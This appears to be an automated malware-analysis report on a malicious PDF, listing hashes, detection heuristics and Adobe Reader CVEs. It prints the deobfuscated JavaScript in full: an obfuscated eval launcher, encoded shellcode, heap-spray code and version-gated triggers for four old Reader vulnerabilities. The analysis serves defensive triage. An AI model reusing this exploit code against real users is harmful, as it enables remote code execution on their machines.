Malicious PDF — malware analysis report

Static analysis result for SHA-256 aa01aba9180bffc2…

MALICIOUS

PDF

26.0 KB Created: 2011-72-51 03:25:00 First seen: 2012-07-12
MD5: 6935411a5a026e34fd5b3b344ebdd586 SHA-1: e0092759a0ae3488ac74bcc36470d1e27f13fca2 SHA-256: aa01aba9180bffc237b9408f42cbff71f1619c4b40ace225d76c4a6574a5c0c8
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF file contains embedded JavaScript with a high-severity 'eval()' call, indicating an attempt to execute obfuscated code. This script is likely designed to download and execute a secondary payload. The presence of JavaScript actions and streams, along with the eval() call, strongly suggests a malicious intent to compromise the user's system. No specific family could be identified due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      QojnehufacerurAjeqk=eval(LisunuciBulit.replace('GyruniLeyla','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x6392 942 bytes
SHA-256: e05cde2d4393ba437fa924d9798241a7aef5fc34c8177e80b91b2a2a93d48718
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var ZozIqha='';
var GyruniLeylae=this.producer.substr(0,4);
for(var LisunuciBulit in this) {
	if (LisunuciBulit=='GyruniLeylae')
		QojnehufacerurAjeqk=eval(LisunuciBulit.replace('GyruniLeyla','')+'val');
}
BihYl = QojnehufacerurAjeqk('new Date(2007,2,51,2,12,5)');
FyhotYsm = 'thi'+BihYl.getHours()+'ducer';
NasAtylakikijivudew=QojnehufacerurAjeqk(FyhotYsm.replace(2,'s.pro'));
NasAtylakikijivudew = NasAtylakikijivudew.replace(/t/g,'2');
RawixokiLiwocfyleg = NasAtylakikijivudew.substr(4).split('s');
var PazisanozYfasozex = '';
g = BihYl.getHours()*2;
var HacicEgom = 'fro'+BihYl.getHours()+'arCode';
HacicEgom=HacicEgom.replace(2,'mCh');
BjHaynq=String[HacicEgom];
for (LisunuciBulit = 0; LisunuciBulit < RawixokiLiwocfyleg.length; LisunuciBulit++) {
	Jexodafigetipva = QojnehufacerurAjeqk(RawixokiLiwocfyleg[LisunuciBulit]);
	PazisanozYfasozex += BjHaynq(Jexodafigetipva);
}
QojnehufacerurAjeqk(PazisanozYfasozex);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3728 bytes
SHA-256: d555b27226fa1ea5c821d6f4552b31ebccc4736774fd9ff78d3b4feed4768219
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u55B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u8C34%uE2AA%uC3FA%uE5E8%uFFFF%u65FF%u8D80%u8C8C%u0DD2%uD060%u8C8D%u058C%u016B%u9CC3%uE301%uBDD8%uDB57%uDFDD%uDFDF%uDFDF%uDFDF%uDFD9%uE4DF%u8D88%u8C8C%uDAD9%uE4DF%uE2E3%u8C8C%uF9E4%uE0FE%uD8E1%u02E4%u82C2%u6460%u8CC4%u8C8C%u64DC%u8CF0%u8C8C%u5C73%u480F%uE484%u63C3%u89C3%u64DC%u8CE0%u8C8C%u5C73%u4C09%u9BF9%uD8E6%u7FD5%uE426%u72FE%u9A3F%u9164%u8C8C%uDC8C%uDD64%u8C8C%u738C%uDF5C%u72E6%u05E4%u8DE3%u6431%u8C84%u8C8C%u64DC%u8CB0%u8C8C%u5C73%uBDEC%uE84C%uDC07%u07BC%u80DE%uDE07%u0798%uA4FE%u9435%u8C8C%uBD8C%uBD73%u204C%uEDB0%u8EF0%uACA0%u434D%u8D81%u6E4B%u0D7C%uD773%uC630%u07E6%u9CCE%u9E07%u55F9%uC805%u90A8%u4FED%u07EC%uA8E0%u07A8%uB0C9%uD807%uF489%u668D%uC607%u0794%uACD6%u678D%uB86F%u07C5%u07B8%u628D%u73BD%u4CBD%u2070%u4C08%u8BF8%u434D%u8D81%u674B%uB778%uA8F0%uF9A4%u076D%uA8D6%u678D%u07EA%uC780%uD607%u8D90%u0767%u0788%u648D%uC805%u90A8%u4EED%u8C84%u6364%u7372%uE473%uF8F8%uB6FC%uA3A3%uE3EA%uE8FE%uE9FE%uE8E2%uFFE5%uEFA2%uA2F6%uEFEF%uE3A3%uF8F9%uFCA2%uFCE4%uEDB3%uDDB1%uE7DD%uCECA%uBCEB%uCDCD%uBCDD%uCEC1%uBCCD%uC9C8%uEFE7%uCEC6%uB1CD%uAAB1%uB1FC%u8CBB';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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